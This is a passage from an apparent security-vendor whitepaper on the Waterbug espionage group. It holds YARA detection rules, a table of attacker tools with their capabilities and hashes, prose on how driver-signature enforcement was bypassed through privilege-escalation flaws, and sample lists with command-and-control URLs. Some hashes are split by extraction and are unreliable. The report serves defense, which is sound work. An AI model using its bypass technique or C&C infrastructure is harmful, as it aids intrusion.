03 4D EC add ecx, [ebp+var _ 14] 8A 09 mov cl, [ecx] 88 08 mov [eax], cl 8B 45 F8 mov eax, [ebp+var _ 8] 33 D2 xor edx, edx 6A 0F push 0Fh 59 pop ecx F7 F1 div ecx 85 D2 test edx, edx 75 07 jnz short loc _ 401432 */ $code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 } /* 8A 04 0F mov al, [edi+ecx] 88 04 0E mov [esi+ecx], al 6A 0F push 0Fh 33 D2 xor edx, edx 8B C6 mov eax, esi 5B pop ebx F7 F3 div ebx 85 D2 test edx, edx 75 01 jnz short loc _ B12FC 47 inc edi 8B 45 14 mov eax, [ebp+arg _ C] 46 inc esi 47 inc edi 3B F8 cmp edi, eax 72 E3 jb short loc _ B12E8 EB 04 jmp short loc _ B130B C6 04 08 00 mov byte ptr [eax+ecx], 0 48 dec eax 3B C6 cmp eax, esi Page 28 The Waterbug attack group 73 F7 jnb short loc _ B1307 33 C0 xor eax, eax C1 EE 02 shr esi, 2 74 0B jz short loc _ B1322 8B 55 18 mov edx, [ebp+arg _ 10] 31 14 81 xor [ecx+eax*4], edx 40 inc eax 3B C6 cmp eax, esi 72 F5 jb short loc _ B1317 */ $code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5} /* 29 5D 0C sub [ebp+arg _ 4], ebx 8B D1 mov edx, ecx C1 EA 05 shr edx, 5 2B CA sub ecx, edx 8B 55 F4 mov edx, [ebp+var _ C] 2B C3 sub eax, ebx 3D 00 00 00 01 cmp eax, 1000000h 89 0F mov [edi], ecx 8B 4D 10 mov ecx, [ebp+arg _ 8] 8D 94 91 00 03 00 00 lea edx, [ecx+edx*4+300h] 73 17 jnb short loc _ 9FC44 8B 7D F8 mov edi, [ebp+var _ 8] 8B 4D 0C mov ecx, [ebp+arg _ 4] 0F B6 3F movzx edi, byte ptr [edi] C1 E1 08 shl ecx, 8 0B CF or ecx, edi C1 E0 08 shl eax, 8 FF 45 F8 inc [ebp+var _ 8] 89 4D 0C mov [ebp+arg _ 4], ecx 8B 0A mov ecx, [edx] 8B F8 mov edi, eax C1 EF 0B shr edi, 0Bh */ $code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B} condition: ($mz at 0) and (($code1a or $code1b or $code1c) and $code2) } ComRAT rule comrat{ strings: $mz = \xe2\x80\x9cMZ\xe2\x80\x9d $b = {C645????} $c = {C685??FEFFFF??} $d = {FFA0??0?0000} $e = {89A8??00000068??00000056FFD78B} $f = {00004889????030000488B} condition: ($mz at 0) and ((#c > 200 and #b > 200 ) or (#d > 40) and (#e > 15 or #f > 30)) } Page 29 The Waterbug attack group Waterbug tools Symantec identified a number of tools used by the Waterbug group. Table 4 details the tools and lists their associated MD5 hashes. Table 4. Tools used by the Waterbug group File name MD5 File path tcpdump32c.exe \xe2\x80\xa2 9bec941bec02c7fbe037a97db8c89f18 \xe2\x80\xa2 6ce69e4bec14511703a8957e90ded1fa \xe2\x80\xa2 1c05164fede51bf947f1e78cba811063 \xe2\x80\xa2 5129c26818ef712bde318dff970eba8d \xe2\x80\xa2 bdce0ed65f005a11d8e9a6747a3ad08c \xe2\x80\xa2 Used for lateral movement across victim\xe2\x80\x99s network \xe2\x80\xa2 Reads prt.ocx as its configuration file \xe2\x80\xa2 May use results from other tools like mspd32.exe to get to- kens/ntlm hashes to access resources from victim\xe2\x80\x99s network \xe2\x80\xa2 Can scan for open ports from a list of targeted computers or from a given Active Directory domain \xe2\x80\xa2 Can copy and execute files on remote computers found in the network \xe2\x80\xa2 There are several command line parameters that the file can accept and the most notable ones are: \xe2\x80\xa2 /exp:dns \xe2\x80\x94 possible DNS exploit \xe2\x80\xa2 /exp:08067 \xe2\x80\x94 seems to be capable of exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability Vulnerability (CVE-2008- 4250). Needs another parameter which is the path to the exploit binary to use \xe2\x80\xa2 /rputfile \xe2\x80\x94possibly copying file to a targeted computer \xe2\x80\xa2 /rfile \xe2\x80\x94 possibly a remote file execute or remote log file \xe2\x80\xa2 /lfile \xe2\x80\x94 local logfile/userlist. Accepts user name and password for accessing remote computers in the tar- geted network /scanport \xe2\x80\xa2 Has encrypted binary files in its resource mspd32.exe \xe2\x80\xa2 e04ad0ec258cbbf94910a677f4ea54f0 \xe2\x80\xa2 928d0ef4c17f0be21f2ec5cc96182e0c \xe2\x80\xa2 Used in access privilege elevation attacks and the dumping of SAM through the DLL found in its resource section \xe2\x80\xa2 Communication is made through named pipe resources typecli.exe \xe2\x80\xa2 d686ce4ed3c46c3476acf1be0a1324e6 msc32.exe \xe2\x80\xa2 22fb51ce6e0bc8b52e9e3810ca9dc2e1 \xe2\x80\xa2 Unknown dxsnd32x.exe \xe2\x80\xa2 df06bde546862336ed75d8da55e7b1cc \xe2\x80\xa2 a85616aec82078233ea25199c5668036 \xe2\x80\xa2 b7d80000100f2cb50a37a8a5f21b185f \xe2\x80\xa2 552a8e8d60731022dcb5a89fd4f313ec \xe2\x80\xa2 a1ecf883627a207ed79d0fd103534576 \xe2\x80\xa2 560f47c8c50598760914310c6411d3b1 \xe2\x80\xa2 b28cbcd6998091f903c06a0a46a0fd8d \xe2\x80\xa2 b0952e130f6f8ad207998000a42531de \xe2\x80\xa2 c04190dc190b6002f064e3d13ac22212 \xe2\x80\xa2 959ed9d60a8f645fd46b7c7a9b62870c \xe2\x80\xa2 305801a809b7d9136ab483682e26d52d \xe2\x80\xa2 e5a9fc45ab11dd0845508d122a6c8c8c \xe2\x80\xa2 Main purpose is to get details of compromised computer, such as OS version, service pack, host name, network adapter information (physical address, IP address) msnetsrv.exe \xe2\x80\xa2 bf0e4d46a51f27493cbe47e1cfb1b2ea \xe2\x80\xa2 22149a1ee21e6d60758fe58b34f04952 \xe2\x80\xa2 Used to gather information process lists, installed programs, browser history, and list of recently accessed files (through registry) \xe2\x80\xa2 Checks for F-Secure installation \xe2\x80\xa2 Compresses and encrypt swinview.xml pxinsi64.exe \xe2\x80\xa2 f156ff2a1694f479a079f6777f0c5af0 \xe2\x80\xa2 64-bit driver possibly used by vboxdev_win32.dll \xe2\x80\xa2 Exploits vulnerability to load unsigned drivers mswme32.exe \xe2\x80\xa2 eb40189cde69d60ca6f9a3f0531dbc5e \xe2\x80\xa2 Collects files with extensions (.*library, *.inf, *.exe, .*dll, .*dot) \xe2\x80\xa2 Encrypts with Trojan.Turla XOR key \xe2\x80\xa2 Compresses into .cab file \xe2\x80\xa2 Writes entry to vtmon.bin file \xe2\x80\xa2 Copies compressed file to %System%\\win.com for exfiltration \xe2\x80\xa2 Can execute files msnetserv.exe \xe2\x80\xa2 56f423c7a7fef041f3039319f2055509 \xe2\x80\xa2 22149a1ee21e6d60758fe58b34f04952 \xe2\x80\xa2 Same as mswme32.exe msnet32.exe \xe2\x80\xa2 eb40189cde69d60ca6f9a3f0531dbc5e \xe2\x80\xa2 Same as mswme32.exe http://www.securityfocus.com/bid/31874 http://www.securityfocus.com/bid/31874 Page 30 The Waterbug attack group Additional exploits used Waterbug exploits several weaknesses in Windows and a device driver vulnerability to load an unsigned driver on the x64 Windows platform. The vulnerabilities used are as follows: \xe2\x80\xa2 Sun xVM VirtualBox \xe2\x80\x98VBoxDrv.sys\xe2\x80\x99 Local Privilege Escalation Vulnerability (CVE-2008-3431) \xe2\x80\xa2 Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232) \xe2\x80\xa2 Microsoft Windows Argument Validation Local Privilege Escalation Vulnerability (CVE-2009-1125) Sun xVM VirtualBox \xe2\x80\x98VBoxDrv.sys\xe2\x80\x99 Local Privilege Escalation Vulnerability (CVE- 2008-3431) This vulnerability lets attackers get access to the g_CiEnabled flag which is supposed to be protected. This vulnerability is used by most of the driver-based exploits. Attackers can exploit a device IO vulnerability in the VBoxDrv.sys driver to set the g_CiEnabled flag to 0, allowing any driver to be installed without performing code-signing checks. The g_CiEnabled is a Windows flag that sets or resets when the computer restarts. This flag indicates whether Windows should validate digital signatures before loading a driver. By default, x64 computers only allow signed drivers to be installed. A pseudo-code description of SepInitializeCodeIntegrity follows: VOID SepInitializeCodeIntegrity() { DWORD CiOptions; g _ CiEnabled = FALSE; if(!InitIsWinPEMode) g _ CiEnabled = TRUE; The g_CiEnabled flag is set when the computer restarts, depending on whether the computer is being booted in WinPE mode or not. Furthermore, whenever a driver is being loaded after the computer restarts, the operating system checks for this flag before validating the signature in the SeValidateImageHeader() function. In order to load the unsigned Uroburos driver, the attackers first gain access to the g_CiEnabled flag and then set it to zero. This resets the code-signing policy on the computer. However, resetting the flag requires kernel privileges. Because of this, the malware exploits a device IO vulnerability from an already signed driver (VBoxDrv.sys) to rpcsrv.exe \xe2\x80\xa2 20c9df1e5f426f9eb7461cd99d406904 \xe2\x80\xa2 RPC server using ncacn_np identifier and binds to \\\\pipe\\ hello \xe2\x80\xa2 Has several log strings pertaining to HTTP file downloads, list HTTP requests, list HTTP connections, remote HTTP requests \xe2\x80\xa2 Can be used as a proxy charmap32.exe \xe2\x80\xa2 ed3509b103dc485221c85d865fafafac \xe2\x80\xa2 Executes msinfo32.exe /nfo and direct output to winview.nfo \xe2\x80\xa2 Creates cab file by compressing winview.nfo to winview.ocx \xe2\x80\xa2 Deletes winview.nfo \xe2\x80\xa2 Reads & encrypts contents of cab file using common XOR mqsvc32.exe \xe2\x80\xa2 09886f7c1725fe5b86b28dd79bc7a4d1 \xe2\x80\xa2 Capable of sending exfiltrated data through email using MAPI32.dll msrss.exe \xe2\x80\xa2 fb56ce4b853a94ae3f64367c02ec7e31 \xe2\x80\xa2 Registers as a service \xe2\x80\x9csvcmgr\xe2\x80\x9d with display name \xe2\x80\x98Windows Svcmgr\xe2\x80\x99 \xe2\x80\xa2 Compiled with OpenSSL 1.0.0d 8 Feb 2011 \xe2\x80\xa2 Can spawn command line shell process and send results to C&C through SSL \xe2\x80\xa2 May read/write shell results to msrecda.dat dc1.exe \xe2\x80\xa2 fb56ce4b853a94ae3f64367c02ec7e31 \xe2\x80\xa2 Same as msrss.exe svcmgr.exe \xe2\x80\xa2 fb56ce4b853a94ae3f64367c02ec7e31 \xe2\x80\xa2 Same as msrss.exe msx32.exe \xe2\x80\xa2 98992c12e58745854a885f9630124d3e \xe2\x80\xa2 Used to encrypt file (supplied as argument on command line) using common Trojan.Turla XOR key \xe2\x80\xa2 Output written to [FILE NAME].XOR http://www.securityfocus.com/bid/30481 http://www.securityfocus.com/bid/37864 http://www.securityfocus.com/bid/35240 Page 31 The Waterbug attack group reset the flag. Based on Symantec\xe2\x80\x99s analysis of a few driver exploits available on the internet and in the vboxdrv_win32.dll code, we see that in order to again access to g_CiEnabled, the sample first loads the ntoskrnl.exe image. The malware then uses ci.dll to locate the CiInitialize() function address and finally the address of the g_CiEnabled flag. The vboxdrv_win32.dll file has the signed VirtualBox driver (eaea9ccb40c82af8f3867cd0f4dd5e9d) embedded in it. It loads this legitimate driver and then exploits the vulnerability to disable code-signing policy. Microsoft Windows #GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232) The ms10_025_win32.dll file exploits a privilege escalation vulnerability in the #GP trap handler. The exploit works by executing debug.exe and then injecting a thread in this NTVDM subsystem. MS09-025 Local privilege escalation vulnerability (CVE-2009-1125) The ms09-025_win32.dll file exploits a local privilege escalation vulnerability to gain administrative privileges on the system. Samples Table 5 contains a list of samples associated with the Waterbug group. Table 5. Samples associated with the Waterbug group Threat family Timestamp MD5 Domain Initial infector (UI present) 4c65126ae52cadb76ca1a9cfb8b4ce74 Initial infector (UI present) 6776bda19a3a8ed4c2870c34279dbaa9 Initial infector (UI present) dba209c99df5e94c13b1f44c0f23ef2b Initial infector (UI present) f44b1dea7e56b5eac95c12732d9d6435 Initial infector (UI present) 1970-01-01 18:12:16 030f5fdb78bfc1ce7b459d3cc2cf1877 Initial infector (UI present) 1970-01-01 18:12:16 0f76ef2e6572befdc2ca1ca2ab15e5a1 Initial infector (UI present) 1970-01-01 18:12:16 7c52c340ec5c6f57ef2fd174e6490433 Initial infector (UI present) 1970-01-01 18:12:16 c7617251d523f3bc4189d53df1985ca9 Initial infector (UI present) 2014-01-13 12:37:45 1c3634c7777bd6667936ec279bac5c2a Initial infector (UI present) 2014-01-13 12:41:49 4d667af648047f2bd24511ef8f36c9cc Initial infector (UI present) 2014-02-05 14:37:32 626955d20325371aca2742a70d6861ab Initial infector (UI present) 2014-02-05 14:37:32 80323d1f7033bf33875624914a6a6010 Initial infector (UI present) 2014-02-05 14:39:27 77083b1709681d43a1b0503057b6f096 Page 32 The Waterbug attack group Wipbot 2013 2013-10-15 10:34:06 6a61adc3990ffcf2a4138db82a17a94f blog.epiccosplay.com/wp-includes/sitemap/ http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/ Wipbot 2013 2013-10-15 10:34:16 a9f007fe165a77d0b8142cc384bdf6c5 blog.epiccosplay.com/wp-includes/sitemap/ http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/ Wipbot 2013 2013-10-15 10:43:09 111ed2f02d8af54d0b982d8c9dd4932e Wipbot 2013 2013-10-15 10:43:09 24b354f8cfb6a181906ceaf9a7ec28b0 Wipbot 2013 2013-10-15 10:43:09 397c19d4686233bf1be2907e7f4cb4ff Wipbot 2013 2013-10-15 10:43:09 42b7b0bd4795fc8e336e1f145fc2d27c Wipbot 2013 2013-10-15 10:43:09 61316789205628dd260efe99047219eb Wipbot 2013 2013-10-15 10:43:09 d102e873971aa4190a809039bc789e4d Wipbot 2013 2013-10-15 10:43:09 dc37cba3e8699062b4346fd21f83de81 Wipbot 2013 2013-10-15 10:43:09 ea1c266eec718323265c16b1fdc92dac Wipbot 2013 2013-10-15 10:43:09 eaaf9f763ae8c70d6e63d4b1e3364f74 Wipbot 2013 2013-11-25 08:53:22 e50c8bd08efc3ad2e73f51444069f809 www.hadilotfi.com/wp-content/themes/profile/ homaxcompany.com/components/com_sitemap/ http://homaxcompany.com/components/com_sitemap/ http://www.hadilotfi.com/wp-content/themes/profile/ Wipbot 2013 2013-11-25 08:53:36 23bc358fd105a8ba1e5417b1054f26a6 www.hadilotfi.com/wp-content/themes/profile/ homaxcompany.com/components/com_sitemap/ http://homaxcompany.com/components/com_sitemap/ http://www.hadilotfi.com/wp-content/themes/profile/ Wipbot 2013 2013-11-25 08:55:28 1011a47f0dfcb897f7e051de3cc31577 Wipbot 2013 2013-11-25 08:55:28 3ab3d463575a011dfad630da154600b5 Wipbot 2013 2013-11-25 08:55:28 7731d42b043865559258464fe1c98513 Wipbot 2013 2013-11-25 08:55:28 fdba4370b60eda1ee852c6515da9da58 Wipbot 2013 2013-12-01 07:56:31 89b0f1a3a667e5cd43f5670e12dba411 Wipbot 2013 2014-01-09 11:20:46 810ba298ac614d63ed421b616a5df0d0 losdivulgadores.com/wp-content/plugins/wp-themes/ gspersia.com/first/fa/components/com_sitemap/ http://gspersia.com/first/fa/components/com_sitemap/ http://losdivulgadores.com/wp-content/plugins/ Wipbot 2013 2014-01-09 11:20:56 401910bebe1b9182c3ebbe5b209045ff losdivulgadores.com/wp-content/plugins/wp-themes/ gspersia.com/first/fa/components/com_sitemap/ http://gspersia.com/first/fa/components/com_sitemap/ http://losdivulgadores.com/wp-content/plugins/ Wipbot 2013 2014-01-09 11:34:48 ab686acde338c67bec8ab42519714273 Wipbot 2013 2014-01-20 06:06:18 b2d239cc342bf972a27c79642a9216fc http://ncmp2014.com/modules/mod_feed/feed/ mortezanevis.ir/wp-content/plugins/wp-static/; ncmp2014.com/modules/mod_feed/feed/ http://mortezanevis.ir/wp-content/plugins/wp-static/ Page 33 The Waterbug attack group Wipbot 2013 2014-01-20 06:06:30 b101bbf83bda2a7e4ff105a2eb496c7b http://ncmp2014.com/modules/mod_feed/feed/ mortezanevis.ir/wp-content/plugins/wp-static/; ncmp2014.com/modules/mod_feed/feed/ http://mortezanevis.ir/wp-content/plugins/wp-static/ Wipbot 2013 2014-01-20 06:18:06 d31f1d873fa3591c027b54c2aa76a52b Wipbot 2013 2014-02-04 11:29:36 cece6ec4d955b0f6fe09e057676105a7 http://onereliablesource.com/wp-content/plugins/ sitemap/ petrymantenimiento.com/wp-content/plugins/ http://petrymantenimiento.com/wp-content/plugins/ wordpress-form-manager/lang/ onereliablesource.com/wp-content/plugins/sitemap/ Wipbot 2013 2014-02-04 11:29:46 b4411b1de933399872e- 505ac4a74a871 http://onereliablesource.com/wp-content/plugins/ sitemap/ petrymantenimiento.com/wp-content/plugins/ http://petrymantenimiento.com/wp-content/plugins/ wordpress-form-manager/lang/ onereliablesource.com/wp-content/plugins/sitemap/ Wipbot 2013 2014-02-04 11:42:55 d22b0ec4e9b2302c07f38c835a78148a Wipbot 2013 2014-02-21 15:08:01 2b145a418daee6dc5f2a21d8567d0546 http://akva-clean.ru/typo3temp/wizard.php http://www.automation-net.ru/typo3temp/ akva-clean.ru/typo3temp/wizard.php www.automation-net.ru/typo3temp/viewpages.php Wipbot 2013 2014-02-21 15:08:21 eb45f5a97d52bcf42fa989bd57a160df http://akva-clean.ru/typo3temp/wizard.php http://www.automation-net.ru/typo3temp/ akva-clean.ru/typo3temp/wizard.php www.automation-net.ru/typo3temp/viewpages.php Wipbot 2013 2014-02-21 15:09:56 764d643e5cdf3b8d4a04b50d0bc44660 Wipbot 2013 2014-04-07 10:27:46 6f05fdf54ac2aef2b04b0fe3c8b642bb filesara.ir/wp-content/themes/argentum/view/ http://www.rchelicopterselect.com/blog/wp-content/ themes/pagelines/view/ http://filesara.ir/wp-content/themes/argentum/view/ www.rchelicopterselect.com/blog/wp-content/themes/ pagelines/view/ Wipbot 2013 2014-04-07 10:30:37) 34e8034e1eba9f2c100768afe579c014 filesara.ir/wp-content/themes/argentum/view/ http://www.rchelicopterselect.com/blog/wp-content/ themes/pagelines/view/ http://filesara.ir/wp-content/themes/argentum/view/ www.rchelicopterselect.com/blog/wp-content/themes/ pagelines/view/ Wipbot 2013 2014-04-07 10:31:02 f51ba5883a65a0f7cf6783a6490320d3 Wipbot 2013 2014-06-10 14:03:07 74ad9f180b1e1799b014f05b96f9d54e http://discontr.com/wp-content/themes/twentytwelve/ categories.php curaj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.php http://curaj.net/pepeni/images/ Wipbot 2013 2014-06-10 14:05:04 2cba96a85424d8437289fb4ce6a42d82 http://discontr.com/wp-content/themes/twentytwelve/ categories.php curaj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.php http://curaj.net/pepeni/images/ Wipbot 2013 2014-06-10 14:05:28 0e441602449856e57d110549602 3f458 Wipbot 2013 2014-07-01 07:55:17 16da515aebff57e9d287af65ab3ee200 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Page 34 The Waterbug attack group Wipbot 2013 2014-07-01 07:55:17 456585dda72d985a0e58ab9f9ca3b5ff www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-01 07:57:23 72025b23b54462942ea- 9f0a5437d1932 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-01 07:57:47 81371773630098af- 082d714501683c70 Wipbot 2013 2014-07-17 07:26:19 abf4996ce518b053c5791886bad7cf29 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-17 07:26:29 d17d99c2ba99889726c9709aa00dec76 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-17 07:37:24 6410632704138b439dea980c1c4dd17f FA 2009 4161f09f9774bd28f09b2725fd7594d6 FA 2009 43043da4b439d21e5fdf9b05f9e77e3e FA 2009 2005-12-02 11:29:22 c98a0d1909d8fad4110c8f35ee6f8391 FA 2009 2009-09-23 06:45:45 2b61e8a11749bfb55d21b5d8441de5c9 FA 2009 2009-02-13 11:20:40 985ec031a278aa529c1eb677e18e12b6 FA 2009 2009-02-13 11:20:40 98de96dfa10f7e8f437fbd4d12872bc1 FA 2009 2009-10-30 10:50:10 6375c136f7f631b1d9b497c277e2faa6 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2009-02-13 11:20:40 9152e0b3f19cb13a91449994695ffe86 FA 2009 2009-02-13 11:20:40 bdb03ec85704879f53bb5d61b8150a0f FA 2009 2009-02-13 11:20:40 dee81c3b22e98abbf941eaf0ae9c5478 FA 2009 2009-11-10 08:32:24 ce1ebd1f0d9bf24e463f3637b648b16f te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 600ef94ae8a54ce287fb64493ca43728 FA 2009 2009-02-13 11:20:40 9a2f7e8fa0e5ccda88902ac5ea9f4713 FA 2009 2009-02-13 11:20:40 dad958df3a5c79a1d86f57309b2d4ea3 FA 2009 2009-12-07 12:28:26 944736466a50cdf16270b74b31b 4d764 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com Page 35 The Waterbug attack group FA 2009 2009-12-07 12:41:17 e93f4dd907142db4b59bb736fc46f644 FA 2009 2010-01-28 14:30:29 938b92958ded4d50a357d22edd- f141ad FA 2009 2010-02-02 11:08:53 3fa48f0675eb35d85f30f66324692786 pressbrig1.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2010-06-08 12:17:42 92f0ae3a725a42c28575290e1ad1ac4c te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2010-06-08 12:17:42 d664e4f660eb1f47e9879492c12d1042 FA 2011 536d604a1e6f7c6d635fef6137af34d1 FA 2011 b7cdff7d06e2c4656d860e2535bd8ee8 FA 2011 2011-10-11 11:09:19 4f901461bb8fa1369f85a7effd1787f1 euland.freevar.com communityeu.xp3.biz eu-sciffi.99k.org FA 2011 2012-03-12 12:26:39 9af488ce67be89b3908931fe4ab21831 euland.freevar.com communityeu.xp3.biz eu-sciffi.99k.org FA 2011 2012-12-26 07:14:18 deb674ce5721c5ed33446a32247a1a6b toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2012-12-26 07:45:34 038f0e564c06a817e8a53d054406383e FA 2011 2012-12-26 07:45:34 07c11b3370bee83fc012cac23a8dfddb FA 2011 2012-12-27 10:19:53 6ae2efda0434d59ea808c2c6538243bc toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-01-15 10:44:46 8a7b172691f99fb894dd1c5293c2d60a FA 2011 2013-01-15 10:44:46 ff64031d8e34243636ae725e8f9bbe8b FA 2011 2013-02-13 13:38:20 1fd0b620e7ba3e9f468b90ffb616675e toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-02-27 14:23:41 1ecdb97b76bdae9810c1101d93dfe194 FA 2011 2013-02-27 14:23:41 a8a16187b033024e3e0d- 722ba33ee9da FA 2011 2013-03-27 07:10:08 b329095db961cf3b54d9acb48a3711da toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-03-28 06:49:35 c09fbf1f2150c1cc87c8f45bd788f91f toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-03-29 07:44:25 1bdd52a68fe474da685f1a2d502481cc FA 2011 2013-03-29 07:44:25 5ce3455b85f2e8738a9aceb815b48aee FA 2011 2013-03-29 07:51:34 6406ad8833bafec59a32be842245c7dc FA 2011 2013-03-29 07:51:34 a9b0f2d66d1b16acc1f1efa696074447 Page 36 The Waterbug attack group FA 2011 2013-07-25 05:58:46 2eb233a759642abaae2e- 3b29b7c85b89 swim.onlinewebshop.net winter.site11.com july.mypressonline.com FA 2011 2013-07-25 06:35:07 309cc1312adcc6fc53e6e6b7fa260093 FA 2011 2013-07-25 06:35:07 cd962320f5b1619b1c1773de235bda63 FA 2011 2013-08-29 07:34:54 973fce2d142e1323156ff1ad3735e50d FA 2011 2013-11-12 06:21:22 c0a2e3f9af9e227252428df59777fc47 FA 2011 2014-01-22 12:11:57 707cdd827cf0dff71c99b1e05665b905 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-24 10:13:05 440802107441b03f- 09921138303ca9e9 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-24 10:13:05 594cb9523e32a5bbf4eb1c491f06d4f9 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-30 11:24:41 1fe6f0a83b332e58214c080aad300868 FA 2011 2014-01-30 11:24:41 606fa804373f595e37dc878055979c0c FA 2011 2014-01-31 05:53:22 22fb51ce6e0bc8b52e9e3810ca9dc2e1 swim.onlinewebshop.net winter.site11.com july.mypressonline.com Carbon 2007 2007-05-24 08:21:34 876903c3869abf77c8504148ac23f02b Carbon 2007 2007-06-14 13:01:39 5f7120d2debb34cab0e53b22c5e332e2 Carbon 2008 2008-09-12 13:11:13 177e1ba54fc154774d103971964 ee442 Carbon 2009 08cbc46302179c4cda4ec2f41fc9a965 Carbon 2009 76f796b5574c8e262afe98478f41558d soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php Carbon 2009 2009-06-22 09:17:40 bc87546fea261dab3cd95a00953179b8 Carbon 2009 2009-06-22 13:24:13 342700f8d9c1d23f3987df18db68cb4d Carbon 2009 2009-10-01 11:17:28 db93128bff2912a75b39ee117796cdc6 Carbon 2009 2009-10-01 11:17:59 62e9839bf0b81d7774a3606112b31 8e8 Carbon 2009 2009-10-02 07:06:07 a67311ec502593630307a5f3c220dc59 Carbon 2009 2009-10-02 07:06:42 a7853bab983ede28959a30653bae- c74a Page 37 The Waterbug attack group Carbon 2009 2009-10-02 07:07:16 2145945b9b32b4ccbd498d- b50419b39b Carbon 2009 2009-10-02 07:07:43 e1ee88eda1d399822587eb58eac9b347 Carbon 2009 2009-10-02 07:10:04 5b4a956c6ec246899b 1d459838892493 Carbon 2009 2009-10-02 07:11:33 5dd1973e760e393a5ac3305ffe94a1f2 Carbon 2009 2009-10-02 07:11:33 ae3774fefba7557599fcc8af547cca70 Carbon 2009 2009-11-04 20:03:41 53b59dffce657b59872278433f9244a2 Carbon 2009 2014-02-26 13:37:00 e6d1dcc6c2601e592f2b03f35b06fa8f Carbon 2009 2014-02-26 13:37:48 554450c1ecb925693fedbb9e56702646 Carbon 2009 2014-02-26 13:39:03 244505129d96be57134cb00f27d43 59c Carbon 2009 2014-02-26 13:39:52 4ae7e6011b- 550372d2a73ab3b4d67096 Carbon 2009 2014-02-26 13:39:52 ea23d67e41d1f0a7f7e7a8b59e7cb60f Carbon 2009 2014-02-26 13:43:19 43e896ede6fe025ee90f7f27c6d376a4 Carbon 2009 2014-02-26 13:43:30 4c1017de62ea4788c7c8058a8f825a2d Carbon 2009 2014-02-26 13:43:51 91a5594343b47462ebd6266a9c40ab- be Carbon 2009 2014-02-26 13:44:01 df230db9bddf200b24d8744ad84d80e8 Carbon 2009 2014-02-26 13:44:20 cb1b68d9971c2353c2d6a8119c49b51f soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php Carbon 2009 2014-07-02 19:56:22 3ab8d9eef5c32b5f8f6e4068710bd9e5 Carbon 2009 2014-07-02 19:56:22 6b6b979a4960d- 279b625378025e729cc Carbon 2009 2014-07-02 19:58:56 c466c5f8d127adb17fbc0c5182ecb118 Carbon 2009 2014-07-02 20:03:35 4c9e3ba2eda63e1be6f30581920230f0 Carbon 2009 2014-08-12 09:41:18 66962d3e0f00e7713c0e1483b4bf4b19 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 6e8bd431ef91d76e757650239fa478a5 SAV [possibly compiled from pre-2011 sources] 2012-01-13 